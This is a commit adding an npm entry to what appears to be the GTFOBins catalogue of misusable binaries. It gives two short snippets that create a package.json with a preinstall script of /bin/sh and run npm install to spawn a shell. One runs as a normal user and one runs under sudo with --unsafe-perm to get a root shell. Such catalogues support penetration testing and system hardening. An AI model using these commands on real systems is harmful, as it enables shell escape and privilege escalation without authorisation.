This commit is contained in:
Andrea Cardaci 2021-01-21 15:11:28 +01:00 committed by GitHub
commit 0c87e670b4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

13
_gtfobins/npm.md Normal file
View File

@ -0,0 +1,13 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
npm -C $TF i
sudo:
- code: |
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
---